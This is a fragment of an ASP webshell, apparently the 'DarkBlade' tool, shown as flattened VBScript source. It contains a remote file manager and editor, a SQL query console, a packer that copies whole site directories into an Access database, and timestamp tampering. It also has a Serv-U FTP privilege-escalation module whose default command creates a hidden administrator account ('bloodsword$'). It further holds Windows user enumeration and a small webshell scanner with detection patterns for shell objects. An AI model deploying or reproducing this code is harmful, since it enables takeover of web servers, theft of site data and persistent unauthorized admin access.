doLabel""&rsTable("Table_Name")&"" + echo"" + echo"" + echo"" + echo"" + If subAct="showStructure"And strTable=rsTable("Table_Name")Then + Set rsColumn=conn.OpenSchema(4,Array(Empty,Empty,rsTable("Table_Name").value)) + echo"" + echo"
    " + doTable"80%" + doTr trId + trIdAdd + doTd"Name","" + doTd"Type","" + doTd"Size","" + doTd"Nullable","" + doTtr + Do Until rsColumn.Eof + intDefinedSize=rsColumn("Character_Maximum_Length") + If intDefinedSize="" Then intDefinedSize=rsColumn("Is_Nullable") + doTr trId + doTd rsColumn("Column_Name"),"" + doTd getDataType(rsColumn("Data_Type")),"" + doTd intDefinedSize,"" + doTd rsColumn("Is_Nullable"),"" + doTtr + trIdAdd + rsColumn.MoveNext + Loop + doTtable + echo"
    " + End If + echoLine"
    " + trIdAdd + spanId=spanId+1 + If spanId=2 Then spanId=0 + rsTable.MoveNext + Loop + Set rsTable=Nothing + Set rsColumn=Nothing + chkerr(Err) + End Sub + Sub showQuery() + Dim i,j,x,rs,Cat,strPrimaryKey,sExec,pageNum,tmpQueryStr + If Not isDebugMode Then On Error Resume Next + Set Cat=CreateObj("ADOX.Catalog") + Cat.ActiveConnection=conn.ConnectionString + Set rs=CreateObj("Adodb.RecordSet") + If Lcase(Left(queryStr,7))="select " And dbType<>"others" Then + If intPage=""Then intPage=1 + rs.Open queryStr,conn,1,1 + dieErr(Err) + intPage=CInt(intPage) + rs.PageSize=sqlPageSize + If Not rs.Eof Then + rs.AbsolutePage=intPage + End If + If rs.Fields.Count > 0 Then + echo"" + doTr 1 + For j=0 To rs.Fields.Count-1 + doTdNoWrap htmlEnc(rs.Fields(j).Name) + Next + doTtr + trId=0 + For i=1 To rs.PageSize + If rs.Eof Then Exit For + doTr trId + For j=0 To rs.Fields.Count-1 + doTdNoWrap htmlEnc(rs(j)) + Next + doTtr + trIdAdd + rs.MoveNext + Next + End If + doTr trId + pageNum=rs.RecordCount/sqlPageSize + If InStr(pageNum,".")>0 Then pageNum=Int(pageNum)+1 + echo"" + doTtr + doTtable + rs.Close + Else + Set rs=conn.Execute(queryStr,-1,&H0001) + dieErr(Err) + If rs.Fields.Count>0 Then + doTable"100%" + doTr 1 + For i=0 To rs.Fields.Count-1 + doTdNoWrap htmlEnc(rs.Fields(i).Name) + Next + doTtr + trId=0 + Do Until rs.EOF + doTr trId + For i=0 To rs.Fields.Count-1 + doTdNoWrap htmlEnc(rs(i)) + Next + doTtr + rs.MoveNext + trIdAdd + Loop + doTtable + rs.Close + Else + errMsgAdd"Query got null recordSet." + End If + Set rs=Nothing + Set Cat=Nothing + End If + chkerr(Err) + End Sub + + Sub CreateConn(connStr) + If Not isDebugMode Then On Error Resume Next + Set conn=CreateObj("Adodb.Connection") + conn.Open connStr + dieErr(Err) + End Sub + + Sub DestoryConn() + If Not isDebugMode Then On Error Resume Next + If IsObject(conn)Then + conn.Close + Set conn=Nothing + End If + End Sub + + Function GetDataType(flag) + Dim str + Select Case flag + Case 0: str="EMPTY" + Case 2: str="SMALLINT" + Case 3: str="INTEGER" + Case 4: str="SINGLE" + Case 5: str="DOUBLE" + Case 6: str="CURRENCY" + Case 7: str="DATE" + Case 8: str="BSTR" + Case 9: str="IDISPATCH" + Case 10: str="ERROR" + Case 11: str="BIT" + Case 12: str="VARIANT" + Case 13: str="IUNKNOWN" + Case 14: str="DECIMAL" + Case 16: str="TINYINT" + Case 17: str="UNSIGNEDTINYINT" + Case 18: str="UNSIGNEDSMALLINT" + Case 19: str="UNSIGNEDINT" + Case 20: str="BIGINT" + Case 21: str="UNSIGNEDBIGINT" + Case 72: str="GUID" + Case 128: str="BINARY" + Case 129: str="CHAR" + Case 130: str="VARCHAR" + Case 131: str="NUMERIC" + Case 132: str="USERDEFINED" + Case 133: str="DBDATE" + Case 134: str="DBTIME" + Case 135: str="DBTIMESTAMP" + Case 136: str="CHAPTER" + Case 200: str="WCHAR" + Case 201: str="TEXT" + Case 202: str="NVARCHAR" + Case 203: str="NTEXT" + Case 204: str="VARBINARY" + Case 205: str="LONGVARBINARY" + Case Else: str=flag + End Select + GetDataType=str + End Function + + Sub showEdit() + If Not isDebugMode Then On Error Resume Next + Dim theFile,strContent,parPath,tmputf + If Right(thePath,1)="\"Then + errMsgAdd"Can't edit a directory!" + doFin + End If + parPath=getLeft(thePath,"\",False) + doForm True + If goaction="FsoFileExplorer"And subAct="showEdit" Then + strContent=FsoRead(thePath) + Else + strContent=streamLoadFromFile(thePath) + End If + chkerr(Err) + doTextarea"fileContent",strContent,"100%","25","" + If subAct="utfEdit" Then + doHidden"subAct","utfSave" + Else + doHidden"subAct","save" + End If + echo"Save as :" + doInput"text","thePath",thePath,"60","" + echo" Encode:" + doSelect"act","80px","onchange=""javascript:if(this.value!=''){dosubmit('"&goaction&"',this.value,'"&doPathFormat(thePath)&"');}""" + doOption"showEdit","Default" + tmputf="" + If subAct="utfEdit" Then + tmputf=Replace(tmputf,"{$}","selected") + End If + echo tmputf + doSselect + echo" " + doSubmit"Save" + echo" " + doInput"reSet","","ReSet","","" + echo" " + doInput"button","clear","Clear","","onClick=""javascript:this.form.fileContent.innerText=''""" + echo" " + doInput"button","","Go back","","onClick=""javascript:dosubmit('"&goaction&"','','"&doPathFormat(parPath)&"')""" + doFform + chkerr(Err) + doFin + End Sub + Sub saveFile() + If Not isDebugMode Then On Error Resume Next + If goaction="FsoFileExplorer"And subAct="save" Then + fsoSaveToFile thePath,fileContent + Else + streamSaveToFile thePath,fileContent,2 + End If + If Err Then + chkerr(Err) + Else + errMsgAdd"File saved." + End If + End Sub + Sub PageAddToMdb() + If Not isDebugMode Then On Error Resume Next + Server.ScriptTimeOut=5000 + If thePath=""Then thePath=pubPam + If thePath=""Then thePath=aspPath + If mdbPath=""Then mdbPath=mapath("DarkBlade.mdb") + If packMethod=""Then packMethod="fso" + showTitle"File Packer/Unpacker" + echo"
    " + doTable"100%" + doTr 1 + doForm True + doTd"File Pack","10%" + doTdInput"text","thePath",thePath,"30%","","" + echoLine"
    " + doTdSubmit"Pack","10%" + doTtr + doTr 0 + doTd"Exceptional folder","" + doTdInput"text","outPath",outPath,"30%","","" + echo"" + doTtable + doFform + echo"
    " + doTable"100%" + doTr 1 + doForm True + doHidden"subAct","unpa" + doTd"Release to","10%" + doTdInput"text","thePath",thePath,"30%","","" + echoLine"" + doTdSubmit"Unpack","10%" + doFform + doTtr + doTtable + echo"" + echo"
    Notice: Unpacking need FSO object,all files unpacked will be under target folder,replacing same named!" + Select Case subAct + Case"fsoPack" + AddToMdb"fso" + Case"appPack" + AddToMdb"app" + Case"unpa" + doUnPack() + End Select + End Sub + Sub AddToMdb(packMethod) + If Not isDebugMode Then On Error Resume Next + Dim rs,connStr,adoCatalog + Set rs=CreateObj("ADODB.RecordSet") + Set objStream=CreateObj("adodb.stream") + Set adoCatalog=CreateObj("ADOX.Catalog") + If InStr(mdbPath,":\")<1 Then mdbPath=mapath(mdbPath) + mdbName=getRight(mdbPath,"\") + connStr=getJetStr(mdbPath) + adoCatalog.Create connStr + CreateConn(connStr) + conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED,strPath VarChar,binContent Image)") + dieErr Err + objStream.Open + objStream.Type=1 + rs.Open"FileData",conn,3,3 + mdbName=Lcase(mdbName) + mdbName2=Replace(mdbName,".mdb",".ldb") + If packMethod="fso"Then + fsoTreeForMdb thePath,thePath,rs,objStream + Else + saTreeForMdb thePath,thePath,rs,objStream + End If + rs.Close + DestoryConn + objStream.Close + Set rs=Nothing + Set objStream=Nothing + Set adoCatalog=Nothing + If Err Then + chkerr(Err) + Else + errMsgAdd"Packing completed" + End If + End Sub + Sub fsoTreeForMdb(thePath,subPath,rs,objStream) + If Not isDebugMode Then On Error Resume Next + Dim item,theFolder,objFolder,files + If Not(objFso.FolderExists(subPath))Then + errMsgAdd"Folder dosen't exists or access denied!" + doFin + End If + outPath=Lcase(outPath) + Set theFolder=objFso.GetFolder(subPath) + For Each item In theFolder.Files + If Not(regTest(getRight(item.name,"."),"^("&outExt&")$") Or Lcase(item.Name)=mdbName Or Lcase(item.Name)=mdbName2)Then + rs.AddNew + rs("strPath")=Replace(item.Path,thePath&"\","") + objStream.LoadFromFile(item.Path) + rs("binContent")=objStream.Read() + rs.Update + End If + Next + For Each item In theFolder.SubFolders + If Not regTest(item.name,"^("&outPath&")$")Then + fsoTreeForMdb thePath,item.Path,rs,objStream + End If + Next + Set files=Nothing + Set objFolder=Nothing + Set theFolder=Nothing + End Sub + Sub saTreeForMdb(thePath,subPath,rs,objStream) + If Not isDebugMode Then On Error Resume Next + Dim item,theFolder,sysFileList + Set theFolder=objSa.NameSpace(subPath) + For Each item In theFolder.Items + If Not item.IsFolder And Lcase(item.Name)<>mdbName And Lcase(item.Name)<>mdbName2 And Not(regTest(getRight(item.name,"."),"^("&outExt&")$")) Then + rs.AddNew + rs("strPath")=Replace(item.Path,thePath&"\","") + objStream.LoadFromFile(item.Path) + rs("binContent")=objStream.Read() + rs.Update + End If + Next + For Each item In theFolder.Items + If item.IsFolder And Not regTest(item.name,"^("&outPath&")$") Then + saTreeForMdb thePath,item.Path,rs,objStream + End If + Next + Set theFolder=Nothing + End Sub + Sub doUnPack() + If Not isDebugMode Then On Error Resume Next + Server.ScriptTimeOut=5000 + Dim rs,str,theFolder + thePath=thePath + thePath=Replace(thePath,"\\","\") + If InStr(mdbPath,":\")<1 Then mdbPath=mapath(mdbPath) + Set rs=CreateObj("ADODB.RecordSet") + Set objStream=CreateObj("adodb.stream") + connStr=getJetStr(mdbPath) + CreateConn(connStr) + rs.Open"FileData",conn,1,1 + dieErr Err + objStream.Open + objStream.Type=1 + Do Until rs.Eof + If InStr(rs("strPath"),"\")>0 Then + theFolder=thePath&"\"&getLeft(rs("strPath"),"\",False) + Else + theFolder=thePath + End If + If Not objFso.FolderExists(theFolder)Then + objFso.CreateFolder(theFolder) + End If + objStream.SetEos() + objStream.Write rs("binContent") + objStream.SaveToFile thePath&"\"&rs("strPath"),2 + rs.MoveNext + Loop + rs.Close + DestoryConn + objStream.Close + Set rs=Nothing + Set objStream=Nothing + If Err Then + chkerr(Err) + Else + errMsgAdd"Unpacking completed" + End If + End Sub + + Sub PageTxtSearcher() + If Not isDebugMode Then On Error Resume Next + Server.ScriptTimeOut=5000 + Dim theFolder + showTitle("Text File Searcher/Replacer") + If thePath=""Then + thePath=rootPath + End If + doForm True + doTable"100%" + doTr 1 + doTd"Keyword","20%" + doTdText"searchkey",searchkey,4 + echo"" + doTtr + doTr 0 + doTd"Replace as","" + doTdText"strReplaceTo",strReplaceTo,4 + echo"" + doTtr + doTr 1 + doTd"Path","" + doTdInput"text","thePath",thePath,"","","" + echo"" + doTtr + doTr 0 + doTd"Search type","" + doTdInput"text","searchExt",textExt,"","","" + doTdSubmit"Search","" + doTtr + doTtable + If searchkey<>""Then + echo"
    " + doUl + If subAct="fsoSearch"Then + Set theFolder=objFso.GetFolder(thePath) + Call searchFolder(theFolder,searchkey) + Set theFolder=Nothing + ElseIf subAct="saSearch"Then + Call appSearchIt(thePath,searchkey) + End If + echo"" + End If + If Err Then + chkerr(Err) + Else + errMsgAdd"Search completed" + End If + doFin + End Sub + Sub searchFolder(folder,str) + Dim ext,title,theFile,theFolder,needReg + needReg=False + If useReg=1 Then needReg=True + For Each theFile In folder.Files + ext=Lcase(getRight(theFile.Name,".")) + If searchType="filename"Then + If needReg And regTest(theFile.Name,str)Then + dofileLink theFile.Path,"fso" + ElseIf InStr(1,theFile.Name,str,1) > 0 Then + dofileLink theFile.Path,"fso" + End If + Else + If regTest(ext,"^("&searchExt&")$")Then + If searchFile(theFile.Path,str,"fso",needReg) Then + dofileLink theFile.Path,"fso" + End If + End If + End If + Next + For Each theFolder In folder.subFolders + searchFolder theFolder,str + Next + chkerr(Err) + End Sub + Function searchFile(sPath,s,method,needReg) + If Not isDebugMode Then On Error Resume Next + Dim theFile,content,find + find=False + If method="fso" Then + content=fsoRead(sPath) + Else + content=streamLoadFromFile(sPath) + End If + If Err Then + chkerr(Err) + searchFile=False + Exit Function + End If + If needReg Then + find=regTest(content,s) + ElseIf InStr(1,content,s,1)>0 Then + find=True + End If + If needReplace Then + If needReg Then + content=regReplace(content,s,strReplaceTo,False) + Else + content=Replace(content,s,strReplaceTo,1,-1,1) + End If + If method="fso" Then + fsoSaveToFile sPath,content + Else + streamSaveToFile sPath,content,2 + End If + End If + searchFile=find + chkerr(Err) + End Function + Sub appSearchIt(thePath,theKey) + If Not isDebugMode Then On Error Resume Next + Dim title,ext,objFolder,objItem,fileName,needReg + needReg=False + If useReg=1 Then needReg=True + Set objFolder=objSa.NameSpace(thePath) + For Each objItem In objFolder.Items + If objItem.IsFolder Then + Call appSearchIt(objItem.Path,theKey) + Else + ext=Lcase(getRight(objItem.Path,".")) + fileName=getRight(objItem.Path,"\") + If searchType="filename"Then + If needReg And regTest(fileName,str)Then + dofileLink theFile.Path,"app" + ElseIf InStr(Lcase(fileName),Lcase(str)) > 0 Then + dofileLink theFile.Path,"app" + End If + Else + If regTest(subExt,"^("&searchExt&")$")Then + If searchFile(objItem.Path,theKey,"app",needReg) Then + doFileLink objItem.Path,"app" + End If + End If + End If + End If + Next + chkerr(Err) + End Sub + Sub doFileLink(sPath,typpe) + Dim strAction + If typpe="fso"Then + strAction="FsoFileExplorer" + Else + strAction="SaFileExplorer" + End If + echo"
  • "&sPath&"" + doSubHref strAction,"showEdit",doPathFormat(sPath),"Edit","" + Response.Flush() + End Sub + Sub PageServUp() + If Not isDebugMode Then On Error Resume Next + Dim ftpDomain + ftpDomain="darkblade" + loginuser="User "&suUser&vbCrLf + loginpass="Pass "&suPass&vbCrLf + deldomain="-DELETEDOMAIN"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&" PortNo="&nport&vbCrLf + mt="SITE MAINTENANCE"&vbCrLf + newdomain="-SetDOMAIN"&vbCrLf&"-Domain="&ftpDomain&"|0.0.0.0|"&nport&"|-1|1|0"&vbCrLf&"-TZOEnable=0"&vbCrLf&" TZOKey="&vbCrLf + newuser="-SetUSERSetUP"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&"-PortNo="&nport&vbCrLf&"-User="&nuser&vbCrLf&"-Password="&npass&vbCrLf&_ + "-HomeDir="&Gpath()&"\\"&vbCrLf&"-LoginMesFile="&vbCrLf&"-Disable=0"&vbCrLf&"-RelPaths=1"&vbCrLf&_ + "-NeedSecure=0"&vbCrLf&"-HideHidden=0"&vbCrLf&"-AlwaysAllowLogin=0"&vbCrLf&"-ChangePassword=0"&vbCrLf&_ + "-QuotaEnable=0"&vbCrLf&"-MaxUsersLoginPerIP=-1"&vbCrLf&"-SpeedLimitUp=0"&vbCrLf&"-SpeedLimitDown=0"&vbCrLf&_ + "-MaxNrUsers=-1"&vbCrLf&"-IdleTimeOut=600"&vbCrLf&"-SessionTimeOut=-1"&vbCrLf&"-Expire=0"&vbCrLf&"-RatioUp=1"&vbCrLf&_ + "-RatioDown=1"&vbCrLf&"-RatiosCredit=0"&vbCrLf&"-QuotaCurrent=0"&vbCrLf&"-QuotaMaximum=0"&vbCrLf&_ + "-Maintenance=System"&vbCrLf&"-PasswordType=Regular"&vbCrLf&"-Ratios=None"&vbCrLf&" Access="&Gpath()&"\\|RWAMELCDP"&vbCrLf + suquit="QUIT"&vbCrLf + showTitle("Serv-U FTP Exp") + Select Case subAct + Case "1" + doSuStep1 + Case "2" + doSuStep2 + Case "3" + doSuStep3 + Case "4" + doSuForm2 + Case "5" + doSuForm3 + Case Else + If IsObject(Session("a"))Then Session("a").abort + If IsObject(Session("b"))Then Session("b").abort + If IsObject(Session("c"))Then Session("c").abort + Set Session("a")=Nothing + Set Session("b")=Nothing + Set Session("c")=Nothing + doForm True + doHidden "subAct",1 + echo"
    Add Temp Domain
    " + doTable "80%" + doTr 1 + doTd"Local user","20%" + doTdInput"text","suUser","LocalAdministrator","30%","","" + doTd"Local pass","20%" + doTdInput"text","suPass","#l@$ak#.lk;0@P","30%","","" + doTtr + doTr 0 + doTd" Local port","" + doTdInput"text","suPort","43958","","","" + doTd"Sys drive","" + doTdInput"text","suPath",Gpath(),"","","" + doTtr + doTr 1 + doTd"New user","" + doTdInput"text","nuser","go","","","" + doTd"New pass","" + doTdInput"text","npass","od","","","" + doTtr + doTr 0 + doTd"New port","" + doTdInput"text","nport","60000","","","" + echo"
  • " + doTtable + echo"" + doFform + End Select + echo"
    " + echo"
    " + doTable "80%" + doTr 1 + echo"
    " + echo"" + echo"" + doTtr + doTtable + echo"" + doFin + End Sub + Sub doSuStep1() + If Not isDebugMode Then On Error Resume Next + Set a=CreateObj("Microsoft.XMLHTTP") + a.open"GET","http://127.0.0.1:"&suPort&"/goldsun/upadmin/s1",True,"","" + a.send loginuser&loginpass&mt&deldomain&newdomain&newuser&suquit + Set Session("a")=a + errMsgAdd"Connecting 127.0.0.1:"&suPort&" using "&suUser&",pass:"&suPass&"..." + doSuForm2 + End Sub + Sub doSuStep2() + If Not isDebugMode Then On Error Resume Next + doSuForm2() + Set b=CreateObj("Microsoft.XMLHTTP") + b.open"GET","http://"&getServerVariable("LOCAL_ADDR")&":"&nport&"/goldsun/upadmin/s2",False,"","" + b.send"User "&nuser&vbCrLf&"pass "&npass&vbCrLf&"site exec "&suCmd&vbCrLf&suquit + Set Session("b")=b + errMsgAdd"Executing command..." + echoLine"

    " + echoLine Replace(b.ResponseText,chr(10),"
    ")&"
    " + End Sub + Sub doSuStep3() + If Not isDebugMode Then On Error Resume Next + Set c=CreateObj("Microsoft.XMLHTTP") + c.open "GET","http://127.0.0.1:"&suPort&"/goldsun/upadmin/s3",True,"","" + c.send loginuser&loginpass&mt&deldomain&suquit + Set Session("c")=c + errMsgAdd"Temp domain deleted!" + echo"" + End Sub + Function Gpath() + If Not isDebugMode Then On Error Resume Next + Gpath=Lcase(Left(objFso.GetSpecialFolder(0),2)) + If Gpath=""Then Gpath="c:" + End Function + Sub doSuForm2() + If nuser=""Then nuser="go" + If npass=""Then npass="od" + If nport=""Then nport="60000" + doForm True + doHidden "subAct",2 + echo"
    Execute Cmd
    " + doTable "80%" + doTr 1 + doTd"Command","" + doTdInput"text","suCmd","cmd /c net user bloodsword$ 0kee /add & net localgroup administrators bloodsword$ /add","","",3 + doTtr + doTr 0 + doTd"Ftp user","" + doTdInput"text","nuser",nuser,"","","" + doTd"Ftp pass","" + doTdInput"text","npass",npass,"","","" + doTtr + doTr 1 + doTd"Ftp port","" + doTdInput"text","nport",nport,"","","" + echo"
    " + doTtable + echo"" + doFform + End Sub + Sub doSuForm3() + doForm True + doHidden "subAct",3 + echo"
    Clean Temp Domain
    " + doTable "80%" + doTr 1 + doTd"Local user","20%" + doTdInput"text","suUser","LocalAdministrator","30%","","" + doTd"Local pass","20%" + doTdInput"text","suPass","#l@$ak#.lk;0@P","30%","","" + doTtr + doTr 0 + doTd"Local port","" + doTdInput"text","suPort","43958","","","" + doTd"Temp domain port","" + doTdInput"text","nport","60000","","","" + doTtr + doTr 1 + echo"
    " + doTtable + echo"" + doFform + End Sub + + Sub PageScan() + If Not isDebugMode Then On Error Resume Next + Dim theFolder + showTitle"Asp Webshell Scanner" + echo"Path : " + doForm True + doInput"text","thePath","/",50,"" + echo" " + doSubmit"Scan" + doChkBox"getInc",1," Get include files","" + If thePath<>""Then + If InStr(thePath,":\")<1 Then thePath=mapath(thePath) + echo"
    " + Response.Flush() + doUl + Set theFolder=objFso.GetFolder(thePath) + doScan(theFolder) + Set theFolder=Nothing + echo"" + End If + doFin + End Sub + Sub doScan(theFolder) + If Not isDebugMode Then On Error Resume Next + Server.ScriptTimeOut=5000 + Dim shellObjLst,funcLst,ext,objName,funcs,needScan,strInclude,theFile,content,echoed + shellObjLst="Wscript.Shell|Wscript.Shell.1|Shell.Application|Shell.Application.1|clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8|clsid:13709620-C279-11CE-A49E-444553540000" + funcLst="Wscript.Shell;Run,Exec,RegRead|Shell.Application;ShellExecute|Scripting.FileSystemObject;CreateTextFile,OpenTextFile,SavetoFile" + For Each objFile In theFolder.Files + echoed=False + needScan=False + ext=Lcase(getRight(objFile.Name,".")) + If regTest(ext,"^("&aspExt&")$") Then + content=fsoRead(objFile.Path) + strInclude="" + For Each strObj In Split(shellObjLst,"|") + If InStr(1,content,strObj,1)>0 Then + doScanReport objFile,"Object with risk : "&strObj&"" + echoed=True + End If + Next + For Each strFunc In Split(funcLst,"|") + objName=getLeft(strFunc,";",True) + funcs=getRight(strFunc,";") + For Each subFunc In Split(funcs,",") + If regTest(content,"\."&subFunc&"\b") Then + doScanReport objFile,"Called object "&objName&"'s "&subFunc&" Function" + echoed=True + End If + Next + Next + If regTest(content,"Set\s*.*\s*=\s*server\s")Then + doScanReport objFile,"Found Set xxx=Server" + echoed=True + End If + If regTest(content,"server.(execute|Transfer)([ \t]*|\()[^""]\)")Then + doScanReport objFile,"Found Server.Execute / Transfer() Function" + echoed=True + End If + If regTest(content,"\bLANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript)\.encode\b")Then + doScanReport objFile,"Script encrypted" + echoed=True + End If + If regTest(content,"")Then + doScanReport objFile,"Found "&htmlEnc(" + + + +
    " + echoLine rs.RecordCount&" records in total,page "&pageNum + doSqlHref "showQuery","","",strTable,"1","«",htmlEnc(" ") + tmpQueryStr="" + If strTable=""Then tmpQueryStr=Replace(queryStr,"'","\'") + For i=1 To pageNum + If i=intPage Then + echo htmlEnc(" "&i&" ") + Else + echo htmlEnc(" ") + doSqlHref "showQuery","",tmpQueryStr,strTable,i,i,htmlEnc(" ") + End If + Next + echo htmlEnc(" ") + doSqlHref "showQuery","",tmpQueryStr,strTable,pageNum,"»","" + echo"" + doSelect"subAct","80px","" + doOption"fsoPack","FSO" + doOption"appPack","UnFSO" + doSselect + echo" Pack as : " + doInput"text","mdbPath",mdbPath,40,"" + echo"" + echo"Exceptional file type,split with | " + doInput"text","outExt",outExt,40,"" + echo"
    Mdb path : " + doInput"text","mdbPath",mdbPath,40,"" + echo"" + doSelect"subAct","80px","" + doOption"fsoSearch","FSO" + doOption"saSearch","UnFSO" + doSselect + echo"
    " + doChkBox"useReg",1," Regexp","" + echoLine"
    " + doChkBox"needReplace",1," Replace","" + echoLine"" + doInput"radio","searchType","filename","","" + echo"File name " + doInput"radio","searchType","fileContent","","checked" + echo"File content" + echo"" + doSubmit"Go" + echo"" + doInput"reSet","","ReSet","","" + echo"
    " + doSubHref goaction,"","","Add domain","" + echo"" + doSubHref goaction,4,"","Exec cmd","" + echo"" + doSubHref goaction,5,"","Clean domain","" + echo"" + doSubmit"Go" + echo"" + doInput"reSet","","ReSet","","" + echo"
    " + doSubmit"Go" + echo"" + doInput"reSet","","ReSet","","" + echo"
    + + + + + + + + + + +
    + + + + + + + +<% + If logged Then +%> +
    + + +<% + End If +%>

    <%=getServerVariable("LOCAL_ADDR")&"("&serverName&")"%>

    + <%doFont sversion,"#0099FF","3"%>
    +
    <%=getAds()%>

    +<% + echo"" + doFont strTitle&"»","#0099ff","2" + echoLine"

    " + End Sub + Sub show404() + Dim sitedir + sitedir=getLeft(getServerVariable("PATH_INFO"),"/",False) + echo xmlGet("http://"&serverName&sitedir&"/"&fToPre&"?"&getServerVariable("QUERY_STRING"),"GET") + Response.status=objXml.status + response.End + End Sub + Sub getObjInfo(strObjInfo,strDscInfo) + Dim objTmp + If Not isDebugMode Then On Error Resume Next + echo"
  • "&strObjInfo + If strDscInfo<>""Then + echo"(Object "&strDscInfo&")" + End If + echo"" + If Err Then Err.Clear + Set objTmp=CreateObj(strObjInfo) + If Err Then + doFont htmlEnc("Disabled"),"red","" + Else + doFont htmlEnc("Enabled "),"green","" + echo"Version:"&objTmp.Version&";" + echo"About:"&objTmp.About + End If + echo"
  • " + If Err Then Err.Clear + Set objTmp=Nothing + End Sub + Sub showUserInfo(strUser) + Dim User,Flags,lastlog + If Not isDebugMode Then On Error Resume Next + Set User=getObj("WinNT://./"&strUser&",user") + Flags=User.Get("UserFlags") + lastlog=User.LastLogin + doTr 0 + doTd"Description","20%" + doTd User.Description,"80%" + doTtr + doTr 1 + doTd"Belong to","" + doTd getItsGroup(strUser),"" + doTtr + doTr 0 + doTd"Password expired","20%" + doTd CBool(User.Get("PasswordExpired")),"80%" + doTtr + doTr 1 + doTd"Password never expire","" + doTd cbool(Flags And&H10000),"" + doTtr + doTr 0 + doTd"Can't change password","" + doTd cbool(Flags And&H00040),"" + doTtr + doTr 1 + doTd"Global-group account","" + doTd cbool(Flags And&H100),"" + doTtr + doTr 0 + doTd"Password length at least","" + doTd User.PasswordMinimumLength,"" + doTtr + doTr 1 + doTd"Password required","" + doTd User.PasswordRequired,"" + doTtr + doTr 0 + doTd"Account disabled","" + doTd User.AccountDisabled,"" + doTtr + doTr 1 + doTd"Account locked","" + doTd User.IsAccountLocked,"" + doTtr + doTr 0 + doTd"User profile","" + doTd User.Profile,"" + doTtr + doTr 1 + doTd"User loginscript","" + doTd User.LoginScript,"" + doTtr + doTr 0 + doTd"Home directory","" + doTd User.HomeDirectory,"" + doTtr + doTr 1 + doTd"Home drive","" + doTd User.Get("HomeDirDrive"),"" + doTtr + doTr 0 + doTd"Last login","" + doTd lastlog,"" + doTtr + If Err Then Err.Clear + End Sub + Function getItsGroup(strUser) + Dim objUser,objGroup + Set objUser=getObj("WinNT://./"&strUser&",user") + For Each objGroup in objUser.Groups + getItsGroup=getItsGroup&" "&objGroup.Name + Next + End Function + Function FsoRead(thePath) + Set objCountFile=objFso.OpenTextFile(thePath,1,True) + FsoRead=Replace(objCountFile.ReadAll,Chr(0)," ") + objCountFile.Close + Set objCountFile=Nothing + End Function + Function streamLoadFromFile(thePath) + If Not isDebugMode Then On Error Resume Next + Set objStream=CreateObj("Adodb.Stream") + With objStream + .Type=2 + .Mode=3 + .Open + .LoadFromFile thePath + If subAct="utfEdit" Then + .CharSet="utf-8" + Else + .CharSet=defaultChr + End If + .Position=2 + streamLoadFromFile=Replace(.ReadText(),Chr(0)," ") + .Close + End With + Set objStream=Nothing + End Function + Sub streamSaveToFile(thePath,fileContent,stype) + If Not isDebugMode Then On Error Resume Next + Set objStream=CreateObj("Adodb.Stream") + With objStream + .Type=stype + .Mode=3 + .Open + If subAct="utfSave"Then + .CharSet="utf-8" + ElseIf subAct="Save"Then + .CharSet=defaultChr + End If + If stype=2 Then + .WriteText fileContent + Else + .Write fileContent + End If + objStream.SavetoFile thePath,2 + .Close + End With + Set objStream=Nothing + End Sub + Sub fsoSaveToFile(thePath,fileContent) + Dim theFile + Set theFile=objFso.OpenTextFile(thePath,2,True) + theFile.Write fileContent + theFile.Close + Set theFile=Nothing + End Sub + Sub newOne() + If Not isDebugMode Then On Error Resume Next + If newOneType="file"Then + thePath=thePath&"\"&newOneName + Call objFso.CreateTextFile(thePath,False) + showEdit + Else + objFso.CreateFolder(thePath&"\"&newOneName) + End If + If Err Then + chkerr(Err) + Else + errMsgAdd"File/folder created" + End If + End Sub + Sub renameOne() + Dim tagName,objFolder,parPath,oriName + If Not isDebugMode Then On Error Resume Next + thePath=getLeft(pubPam,"|",False) + tagName=getRight(pubPam,"|") + If InStr(thePath,"\")<1 Then thePath=thePath&"\" + Dim theFile,fileName,theFolder + If thePath=""Or tagName=""Then + errMsgAdd"Parameter wrong!" + Exit Sub + End If + If strFileMethod="fso"Then + If subAct="renamefolder"Then + Set theFolder=objFso.GetFolder(thePath) + theFolder.Name=tagName + Set theFolder=Nothing + Else + Set theFile=objFso.GetFile(thePath) + theFile.Name=tagName + Set theFile=Nothing + End If + Else + oriName=getRight(thePath,"\") + parPath=getLeft(thePath,"\",False) + Set objFolder=objSa.NameSpace(parPath) + Set objItem=objFolder.ParseName(oriName) + objItem.Name=tagName + End If + If Err Then + chkerr(Err) + Else + errMsgAdd"Rename completed" + End If + End Sub + Sub delOne() + If Not isDebugMode Then On Error Resume Next + If subAct="delFolder"Then + Call objFso.DeleteFolder(thePath,True) + Else + Call objFso.DeleteFile(thePath,True) + End If + If Len(thePath)=2 Then thePath=thePath&"\" + If Err Then + chkerr(Err) + Else + errMsgAdd"File/folder deleted" + End If + End Sub + Sub moveCopyOne() + Dim oriPath,tagPath,objTargetFolder,objOriPath,objSa2 + If Not isDebugMode Then On Error Resume Next + thePath=Left(pubPam,Instr(pubPam,"|")-1) + tagPath=Mid(pubPam,InStr(pubPam,"|")+1) + If thePath=""Or tagPath=""Then + errMsgAdd"Parameter wrong!" + Exit Sub + End If + Select Case subAct + Case"cpFolder" + Call objFso.CopyFolder(thePath,tagPath) + Case"cpFile" + Call objFso.CopyFile(thePath,tagPath) + Case"mvFolder" + Call objFso.MoveFolder(thePath,tagPath) + Case"mvFile" + echo thePath&"||"&tagPath + Call objFso.MoveFile(thePath,tagPath) + End Select + If Err Then + chkerr(Err) + Else + errMsgAdd"File/folder copyed/moved" + End If + End Sub + Sub modIfyTime() + Dim oItem,fileToModIfy,newDate,oFolder + If Not isDebugMode Then On Error Resume Next + thePath=Left(pubPam,Instr(pubPam,"|")-1) + If Right(thePath,1)="\"And Len(thePath)>3 Then thePath=Left(thePath,Len(thePath)-1) + fileToModIfy=getRight(thePath,"\") + newDate=Mid(pubPam,Instr(pubPam,"|")+1) + thePath=getLeft(thePath,"\",False) + Set oFolder=objSa.NameSpace(thePath) + Set oItem=oFolder.ParseName(fileToModIfy) + If newDate<>""Then + If IsDate(newDate) Then oItem.ModIfyDate=newDate + End If + If Err Then + chkerr(Err) + Else + errMsgAdd"Time modIffied" + End If + Set oItem=Nothing + Set oFolder=Nothing + End Sub + Sub downTheFile() + Response.Clear + If Not isDebugMode Then On Error Resume Next + 